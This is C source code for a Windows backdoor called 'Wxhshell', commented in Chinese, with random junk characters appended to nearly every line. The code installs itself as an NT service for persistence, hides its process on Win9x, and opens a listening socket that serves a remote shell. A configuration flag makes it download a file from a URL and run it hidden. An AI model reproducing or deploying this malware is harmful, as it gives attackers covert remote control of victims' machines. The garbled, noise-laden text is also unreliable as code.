DWORD BasePriority; ,)1e+EnV&
ULONG UniqueProcessId; 1*h7L<#|mQ
ULONG InheritedFromUniqueProcessId;
6qlr+f
} PROCESS_BASIC_INFORMATION; `t6L'%\
H[
q{R
PROCNTQSIP NtQueryInformationProcess; ;^]A@WN6_
=HHg:"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _=5ZB_I
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kdm5O@tq
&u-Bu;G.e
HANDLE hProcess; <.ky1aex7
PROCESS_BASIC_INFORMATION pbi; {9
O`/|
G.8b\E~
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qS
al~
if(NULL == hInst ) return 0; )v~]lk,o
-e>)yM `i
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yxbTcZ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?W_U{=anl
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @g~sgE}#
aehMLl9cl
if (!NtQueryInformationProcess) return 0; `'WLGQG
#9OP.4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s jm79/
if(!hProcess) return 0; W+?[SnHL/
Z >=Y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,6"n5Ks}
+`-a*U94
CloseHandle(hProcess); .Er/t"Qs;
'.,.F0{x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
@U@ yIv
if(hProcess==NULL) return 0; u2-7vudh
0h4}RmS
HMODULE hMod; ^<0 NIu}
char procName[255]; QaR.8/xV
unsigned long cbNeeded; NCt sx /C
Xf9%A2 iB
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RCXSz
rrYp^xLa`
CloseHandle(hProcess); PqLqF5`S
!`o:+Gg@
if(strstr(procName,"services")) return 1; // 以服务启动 &tCtCk%{j
ZnLk :6'
return 0; // 注册表启动 T0%TeFY
} J|S^K kC
mcr#Ze
// 主模块 "%*lE0Tx
int StartWxhshell(LPSTR lpCmdLine) ( y*X8
{ !#1A7[WN
SOCKET wsl; X388Gs;e
BOOL val=TRUE; #%b()I_([
int port=0; XS8~jBjx
struct sockaddr_in door; j9'XZq}
yMl'1W
if(wscfg.ws_autoins) Install(); )O C[;>F7
3z92Gy5cr
port=atoi(lpCmdLine); % T \N@
sA-W^*+
if(port<=0) port=wscfg.ws_port; _x6E_i-(
2 _n*u^X:_
WSADATA data; 3Lki7QW`
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Lo E(W|nj
<Cu?$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; e-3pg?M
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O&iYGREO
door.sin_family = AF_INET; tkqBCKpDa
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3}{5
X'
door.sin_port = htons(port); x*8f3^ wE
E(kpK5h{
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SoU'r]k1x
closesocket(wsl); #UCQiQfP
return 1; yVQz<tX|
} YzW7;U
S
"UGj4^1f
if(listen(wsl,2) == INVALID_SOCKET) { =^y{@[p`(
closesocket(wsl); Z !25xqNCd
return 1; ugCS &
}
I S8nvx\
Wxhshell(wsl); p[F=L P
WSACleanup(); =z1o}ga=EA
m$mY<Q
return 0; k5QD5/Ej
'oZn<c`
} kJi&9
ivz9R'
// 以NT服务方式启动 {-N90Oe
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pkf OM"5'
{ A2:){`Mw
DWORD status = 0; *a,.E6C*
DWORD specificError = 0xfffffff; |4> r"
= #2qX>?
serviceStatus.dwServiceType = SERVICE_WIN32; ^}/
E~Sg7\
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3r:)\E+Q_
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *r,&@UB
serviceStatus.dwWin32ExitCode = 0; :8Ts'OGwI
serviceStatus.dwServiceSpecificExitCode = 0; eOPCYyN
serviceStatus.dwCheckPoint = 0; k.xv+^b9Q
serviceStatus.dwWaitHint = 0; 6+nMH
+[
8<wuH#2<y
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dF11Rj,~ 8
if (hServiceStatusHandle==0) return; ^x"c0R^
<ivqe"m
status = GetLastError(); :Mu8W_
if (status!=NO_ERROR) &Dg)"Xji
{ u4,X.3V]A
serviceStatus.dwCurrentState = SERVICE_STOPPED; b}&7~4zw
serviceStatus.dwCheckPoint = 0; + }XL>=-5
serviceStatus.dwWaitHint = 0; ciGpluQF
serviceStatus.dwWin32ExitCode = status; N!Wq}#&l
serviceStatus.dwServiceSpecificExitCode = specificError; `I vw`} L
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z++Z@J "
return; 5*wApu{2A
} ?WQd
'Rkvsch
serviceStatus.dwCurrentState = SERVICE_RUNNING; r;on0wm&B
serviceStatus.dwCheckPoint = 0; .1}rzh}8
serviceStatus.dwWaitHint = 0; x"llX
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g[wP!y%V
} *JY`.t
O})u'
// 处理NT服务事件,比如:启动、停止 J={OOj
VOID WINAPI NTServiceHandler(DWORD fdwControl) H")N_BB
{ /=YqjZTCq
switch(fdwControl) B#k3"vk#
{ MpIw^a3(r
case SERVICE_CONTROL_STOP: HEB/\
serviceStatus.dwWin32ExitCode = 0; mB^I@oZ*
serviceStatus.dwCurrentState = SERVICE_STOPPED; %V <F<
serviceStatus.dwCheckPoint = 0; WW[`E
serviceStatus.dwWaitHint = 0; @>#{WI:"~
{ e8ULf~I
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L>~@9a\jO
} T7lj39pJq
return; n:*_uc^C
case SERVICE_CONTROL_PAUSE: vJj:9KcP>h
serviceStatus.dwCurrentState = SERVICE_PAUSED; by|?g8
break; *pb:9JKi
case SERVICE_CONTROL_CONTINUE: N5f0|U&
serviceStatus.dwCurrentState = SERVICE_RUNNING; tf7v5iG e
break; IglJEH[+
case SERVICE_CONTROL_INTERROGATE: [Zt#
c C+
break; A
eGG
}; KI Plb3oh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (U(/C5'
} <nw<v9Z
s
la*3~?*
// 标准应用程序主函数 ])QO%
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )+w/\~@
{ WpJD=C%
+Y5(hjE
// 获取操作系统版本 BA1MGh
OsIsNt=GetOsVer(); GcZM+ c
GetModuleFileName(NULL,ExeFile,MAX_PATH); l~fh_IV1
xgtJl}L
// 从命令行安装 B%eDBu
")
if(strpbrk(lpCmdLine,"iI")) Install(); cVB|sYdf
k_K,J6_)
// 下载执行文件 e+F}9HR7
if(wscfg.ws_downexe) { j(Fa=pi
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q3BLL`W~
WinExec(wscfg.ws_filenam,SW_HIDE); 9Q C"Od9H
} Y/^[qD
|.Nr.4Yp
if(!OsIsNt) { RP~vB#}
// 如果时win9x,隐藏进程并且设置为注册表启动 JtYYT/PB
HideProc(); 1!>bhH}{D
StartWxhshell(lpCmdLine); /63W\
} 7wiK.99
else =`]|/<=9'U
if(StartFromService()) RRS~ xOg
// 以服务方式启动 to!mz\F
StartServiceCtrlDispatcher(DispatchTable); e0v9uQ%F5
else dysX
// 普通方式启动 DOF?(:8Y
StartWxhshell(lpCmdLine); %z-dM` i
f[JI/H>
return 0; d s|8lz,
}